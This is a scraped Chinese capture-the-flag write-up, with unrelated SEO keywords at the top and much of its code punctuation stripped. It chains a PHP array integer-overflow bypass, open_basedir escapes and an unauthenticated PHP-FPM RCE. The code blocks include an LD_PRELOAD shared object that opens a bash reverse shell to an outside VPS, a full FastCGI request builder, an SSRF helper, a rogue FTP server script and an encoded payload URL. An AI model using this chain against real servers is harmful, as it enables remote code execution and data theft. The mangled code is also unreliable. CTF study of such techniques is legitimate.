整站优化要多少钱,文化公司网站源码,营销型网站制作哪家好,仿网站收费知识点#xff1a;php 数组整型溢出#xff0c;open_basedir 绕过分析
利用数组整型溢出绕过#xff0c;因为PHP 会对溢出的数字处理为 float 类型。
?php
include user.php;
if($userunserialize($_COOKIE[data])){$count[$user-count]…知识点php 数组整型溢出open_basedir 绕过分析
利用数组整型溢出绕过因为PHP 会对溢出的数字处理为 float 类型。
?php
include user.php;
if($userunserialize($_COOKIE[data])){$count[$user-count]1;if($count[]1){$user-count1;setcookie(data,serialize($user));}else{eval($_GET[backdoor]);}
}else{$usernew User;$user-count1;setcookie(data,serialize($user));
}
?可以通过 echo PHP_INT_MAX; 来获取最大值这边我本地测试值为 9223372036854775807
$count[]1 是在最大索引之后操作。
poc
?php
class User{public $count;
}$user new User();
$user-count 9223372036854775806;
echo serialize($user);cookie
dataO%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D绕过 open_basedir
利用 ini_set 绕过
读取目录
add_api.php?backdoormkdir(tmpdir);chdir(tmpdir);ini_set(open_basedir,..);chdir(..);chdir(..);chdir(..);chdir(..);chdir(..);ini_set(open_basedir,/);$aprint_r(glob(*));读取 flag 受限
读不了查看一下权限
add_api.php?backdoormkdir(tmpdir);chdir(tmpdir);ini_set(open_basedir,..);chdir(..);chdir(..);chdir(..);chdir(..);chdir(..);ini_set(open_basedir,/);echo Fileperms(/flag);用脚本处理一下权限
?php
$perms 33216;switch ($perms 0xF000) {case 0xC000: // 套接字$info s;break;case 0xA000: // 符号链接$info l;break;case 0x8000: // regular$info r;break;case 0x6000: // 块设备$info b;break;case 0x4000: // 目录$info d;break;case 0x2000: // 字符设备$info c;break;case 0x1000: // FIFO 管道$info p;break;default: // 位置$info u;
}// 所有者
$info . (($perms 0x0100) ? r : -);
$info . (($perms 0x0080) ? w : -);
$info . (($perms 0x0040) ?(($perms 0x0800) ? s : x ) :(($perms 0x0800) ? S : -));// 组
$info . (($perms 0x0020) ? r : -);
$info . (($perms 0x0010) ? w : -);
$info . (($perms 0x0008) ?(($perms 0x0400) ? s : x ) :(($perms 0x0400) ? S : -));// 其它
$info . (($perms 0x0004) ? r : -);
$info . (($perms 0x0002) ? w : -);
$info . (($perms 0x0001) ?(($perms 0x0200) ? t : x ) :(($perms 0x0200) ? T : -));echo $info;
?flag 权限为
rrwx------读下 php.ini
/add_api.php?backdoormkdir(bypass);chdir(bypass);ini_set(open_basedir,..);chdir(..);chdir(..);chdir(..);chdir(..);chdir(..);chdir(..);chdir(..);ini_set(open_basedir,/);var_dump(file_get_contents(/usr/local/etc/php/php.ini));加载了个 so 文件说是能 pwn 咱也不知道怎么 pwn。
蚁剑连一下
读下 nginx 的默认配置。
/etc/nginx/sites-available/default开着FastCGI服务端口也知道了但是 fastcgi_pass 显示只接受本地的包试下 FPM 未授权 RCE。
加载恶意so文件
这个文件相信大家都很熟悉吧这个就是经常看到的 LD_PRELOAD 劫持它的功能是什么呢
#define _GNU_SOURCE
#include stdlib.h
#include stdio.h
#include string.h__attribute__ ((__constructor__)) void preload (void){system(bash -c bash -i /dev/tcp/vps/2333 01);
}attribute((constructor)) 似乎是 c 中的扩展修饰符它可以让被修饰的函数在 main() 之前执行如果它出现在动态链接库中那么一旦动态链接库被系统加载将立即执行 _attribute((constructor)) 修饰的函数。这样我们就不用局限于仅劫持某一函数而应考虑劫持动态链接库了也可以说是劫持了一个新进程。 那它有什么作用呢先让我把其余步骤说一下结合其余步骤就可以清楚的知道它的作用了。
注意so 文件名要和下面产生恶意 fastcgi 请求里的 so 文件名要一样。
执行下列命令上传 so 文件到 html 目录下。
gcc payload.c -fPIC -shared -o payload.so构造 ssrf
因为 fpm 需要本地访问那就需要上传一个产生 ssrf 的文件file.php
?php$file $_GET[file] ?? /tmp/file;$data $_GET[data] ?? :);echo($file./br.$data./br);var_dump(file_put_contents($file, $data));
?这样我们就可以把我们服务器上的恶意 fastcgi 请求通过 ftp 伪协议传输到靶机上然后靶机就会重定向到本地的 9001 端口的 fpm 上然后会把我们的 so 文件载入扩展触发我们的恶意 so 文件把 shell 反弹到我们的 vps 上。
构造 fastcgi 请求
把里面的 ip 和 so 文件名改为自己的既可。
?php
/*** Note : Code is released under the GNU LGPL** Please do not change the header of this file** This library is free software; you can redistribute it and/or modify it under the terms of the GNU* Lesser General Public License as published by the Free Software Foundation; either version 2 of* the License, or (at your option) any later version.** This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.** See the GNU Lesser General Public License for more details.*/
/*** Handles communication with a FastCGI application** author Pierrick Charron pierrickwebstart.fr* version 1.0*/
class FCGIClient
{const VERSION_1 1;const BEGIN_REQUEST 1;const ABORT_REQUEST 2;const END_REQUEST 3;const PARAMS 4;const STDIN 5;const STDOUT 6;const STDERR 7;const DATA 8;const GET_VALUES 9;const GET_VALUES_RESULT 10;const UNKNOWN_TYPE 11;const MAXTYPE self::UNKNOWN_TYPE;const RESPONDER 1;const AUTHORIZER 2;const FILTER 3;const REQUEST_COMPLETE 0;const CANT_MPX_CONN 1;const OVERLOADED 2;const UNKNOWN_ROLE 3;const MAX_CONNS MAX_CONNS;const MAX_REQS MAX_REQS;const MPXS_CONNS MPXS_CONNS;const HEADER_LEN 8;/*** Socket* var Resource*/private $_sock null;/*** Host* var String*/private $_host null;/*** Port* var Integer*/private $_port null;/*** Keep Alive* var Boolean*/private $_keepAlive false;/*** Constructor** param String $host Host of the FastCGI application* param Integer $port Port of the FastCGI application*/public function __construct($host, $port 9001) // and default value for port, just for unixdomain socket{$this-_host $host;$this-_port $port;}/*** Define whether or not the FastCGI application should keep the connection* alive at the end of a request** param Boolean $b true if the connection should stay alive, false otherwise*/public function setKeepAlive($b){$this-_keepAlive (boolean)$b;if (!$this-_keepAlive $this-_sock) {fclose($this-_sock);}}/*** Get the keep alive status** return Boolean true if the connection should stay alive, false otherwise*/public function getKeepAlive(){return $this-_keepAlive;}/*** Create a connection to the FastCGI application*/private function connect(){if (!$this-_sock) {//$this-_sock fsockopen($this-_host, $this-_port, $errno, $errstr, 5);$this-_sock stream_socket_client($this-_host, $errno, $errstr, 5);if (!$this-_sock) {throw new Exception(Unable to connect to FastCGI application);}}}/*** Build a FastCGI packet** param Integer $type Type of the packet* param String $content Content of the packet* param Integer $requestId RequestId*/private function buildPacket($type, $content, $requestId 1){$clen strlen($content);return chr(self::VERSION_1) /* version */. chr($type) /* type */. chr(($requestId 8) 0xFF) /* requestIdB1 */. chr($requestId 0xFF) /* requestIdB0 */. chr(($clen 8 ) 0xFF) /* contentLengthB1 */. chr($clen 0xFF) /* contentLengthB0 */. chr(0) /* paddingLength */. chr(0) /* reserved */. $content; /* content */}/*** Build an FastCGI Name value pair** param String $name Name* param String $value Value* return String FastCGI Name value pair*/private function buildNvpair($name, $value){$nlen strlen($name);$vlen strlen($value);if ($nlen 128) {/* nameLengthB0 */$nvpair chr($nlen);} else {/* nameLengthB3 nameLengthB2 nameLengthB1 nameLengthB0 */$nvpair chr(($nlen 24) | 0x80) . chr(($nlen 16) 0xFF) . chr(($nlen 8) 0xFF) . chr($nlen 0xFF);}if ($vlen 128) {/* valueLengthB0 */$nvpair . chr($vlen);} else {/* valueLengthB3 valueLengthB2 valueLengthB1 valueLengthB0 */$nvpair . chr(($vlen 24) | 0x80) . chr(($vlen 16) 0xFF) . chr(($vlen 8) 0xFF) . chr($vlen 0xFF);}/* nameData valueData */return $nvpair . $name . $value;}/*** Read a set of FastCGI Name value pairs** param String $data Data containing the set of FastCGI NVPair* return array of NVPair*/private function readNvpair($data, $length null){$array array();if ($length null) {$length strlen($data);}$p 0;while ($p ! $length) {$nlen ord($data{$p});if ($nlen 128) {$nlen ($nlen 0x7F 24);$nlen | (ord($data{$p}) 16);$nlen | (ord($data{$p}) 8);$nlen | (ord($data{$p}));}$vlen ord($data{$p});if ($vlen 128) {$vlen ($nlen 0x7F 24);$vlen | (ord($data{$p}) 16);$vlen | (ord($data{$p}) 8);$vlen | (ord($data{$p}));}$array[substr($data, $p, $nlen)] substr($data, $p$nlen, $vlen);$p ($nlen $vlen);}return $array;}/*** Decode a FastCGI Packet** param String $data String containing all the packet* return array*/private function decodePacketHeader($data){$ret array();$ret[version] ord($data{0});$ret[type] ord($data{1});$ret[requestId] (ord($data{2}) 8) ord($data{3});$ret[contentLength] (ord($data{4}) 8) ord($data{5});$ret[paddingLength] ord($data{6});$ret[reserved] ord($data{7});return $ret;}/*** Read a FastCGI Packet** return array*/private function readPacket(){if ($packet fread($this-_sock, self::HEADER_LEN)) {$resp $this-decodePacketHeader($packet);$resp[content] ;if ($resp[contentLength]) {$len $resp[contentLength];while ($len $buffread($this-_sock, $len)) {$len - strlen($buf);$resp[content] . $buf;}}if ($resp[paddingLength]) {$buffread($this-_sock, $resp[paddingLength]);}return $resp;} else {return false;}}/*** Get Informations on the FastCGI application** param array $requestedInfo information to retrieve* return array*/public function getValues(array $requestedInfo){$this-connect();$request ;foreach ($requestedInfo as $info) {$request . $this-buildNvpair($info, );}fwrite($this-_sock, $this-buildPacket(self::GET_VALUES, $request, 0));$resp $this-readPacket();if ($resp[type] self::GET_VALUES_RESULT) {return $this-readNvpair($resp[content], $resp[length]);} else {throw new Exception(Unexpected response type, expecting GET_VALUES_RESULT);}}/*** Execute a request to the FastCGI application** param array $params Array of parameters* param String $stdin Content* return String*/public function request(array $params, $stdin){$response ;
// $this-connect();$request $this-buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this-_keepAlive) . str_repeat(chr(0), 5));$paramsRequest ;foreach ($params as $key $value) {$paramsRequest . $this-buildNvpair($key, $value);}if ($paramsRequest) {$request . $this-buildPacket(self::PARAMS, $paramsRequest);}$request . $this-buildPacket(self::PARAMS, );if ($stdin) {$request . $this-buildPacket(self::STDIN, $stdin);}$request . $this-buildPacket(self::STDIN, );echo(?fileftp://vps:9999/data.urlencode($request)); //vps
// fwrite($this-_sock, $request);
// do {
// $resp $this-readPacket();
// if ($resp[type] self::STDOUT || $resp[type] self::STDERR) {
// $response . $resp[content];
// }
// } while ($resp $resp[type] ! self::END_REQUEST);
// var_dump($resp);
// if (!is_array($resp)) {
// throw new Exception(Bad request);
// }
// switch (ord($resp[content]{4})) {
// case self::CANT_MPX_CONN:
// throw new Exception(This app can\t multiplex [CANT_MPX_CONN]);
// break;
// case self::OVERLOADED:
// throw new Exception(New request rejected; too busy [OVERLOADED]);
// break;
// case self::UNKNOWN_ROLE:
// throw new Exception(Role value not known [UNKNOWN_ROLE]);
// break;
// case self::REQUEST_COMPLETE:
// return $response;
// }}
}
?
?php
// real exploit start here
//if (!isset($_REQUEST[cmd])) {
// die(Check your input\n);
//}
//if (!isset($_REQUEST[filepath])) {
// $filepath __FILE__;
//}else{
// $filepath $_REQUEST[filepath];
//}$filepath /var/www/html/add_api.php; //文件路径
$req /.basename($filepath);
$uri $req .?.commandwhoami;
$client new FCGIClient(unix:///var/run/php-fpm.sock, -1);
$code ?php system(\$_REQUEST[command]); phpinfo(); ?; // php payload -- Doesnt do anything
$php_value unserialize_callback_func system\nextension_dir /var/www/html\nextension exp.so\ndisable_classes \ndisable_functions \nallow_url_include On\nopen_basedir /\nauto_prepend_file ; // extension_dir即为.so文件所在目录
$params array(GATEWAY_INTERFACE FastCGI/1.0,REQUEST_METHOD POST,SCRIPT_FILENAME $filepath,SCRIPT_NAME $req,QUERY_STRING commandwhoami,REQUEST_URI $uri,DOCUMENT_URI $req,
#DOCUMENT_ROOT /,PHP_VALUE $php_value,SERVER_SOFTWARE ctfking/Tajang,REMOTE_ADDR 127.0.0.1,REMOTE_PORT 9001, // 找准服务端口SERVER_ADDR 127.0.0.1,SERVER_PORT 80,SERVER_NAME localhost,SERVER_PROTOCOL HTTP/1.1,CONTENT_LENGTH strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo Call: $uri\n\n;
echo $client-request($params, $code).\n;
?
构造FTP服务器
因为要用 ssrf ftp 远程加载 fastcgi 请求肯定要能够访问。
注意服务器的端口要开放不然无法访问可以在防火墙那边设置。
import socket
s socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((0.0.0.0, 9999))#这里是ftp的端口
s.listen(1)
conn, addr s.accept()
conn.send(b220 welcome\n)
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b331 Please specify the password.\n)
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b230 Login successful.\n)
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b200 Switching to Binary mode.\n)
#Size /
conn.send(b550 Could not get the file size.\n)
#EPSV (1)
conn.send(b150 ok\n)
#PASV
conn.send(b227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n) #STOR / (2)
conn.send(b150 Permission denied.\n)
#QUIT
conn.send(b221 Goodbye.\n)
conn.close()反弹 shell
运行 vps 上的 ftp 服务器并且监听 so 文件上的端口我这边是 2333 端口。 再访问 file.php 。
file.php?fileftp://vps:9999/data%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02E%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B8PHP_VALUEunserialize_callback_func%3Dsystem%0Aextension_dir%3D%2Fvar%2Fwww%2Fhtml%0Aextension%3Dexp.so%0Adisable_classes%3D%0Adisable_functions%3D%0Aallow_url_include%3DOn%0Aopen_basedir%3D%2F%0Aauto_prepend_file%3D%0F%0ESERVER_SOFTWAREctfking%2FTajang%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9001%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphpsystem%28%24_REQUEST%5B%27command%27%5D%29%3Bphpinfo%28%29%3B%3F%3E%01%05%00%01%00%00%00%00反弹成功。 但是权限不够需要提权直接 suid利用 php 交互读取 flag。php -a 在这里插入图片描述
提权获取 flag
利用 … 绕过 php 的目录限制读取 flag 。
mkdir(qf);chdir(qf);ini_set(open_basedir,..);chdir(..);chdir(..);chdir(..);chdir(..);chdir(..);chdir(..);chdir(..);chdir(..);ini_set(open_basedir,/);var_dump(file_get_contents(/flag));参考
https://blog.csdn.net/qq_64201116/article/details/126634921?spm1001.2101.3001.6650.3utm_mediumdistribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-3-126634921-blog-127802156.pc_relevant_3mothn_strategy_and_data_recoverydepth_1-utm_sourcedistribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7ERate-3-126634921-blog-127802156.pc_relevant_3mothn_strategy_and_data_recoveryutm_relevant_index4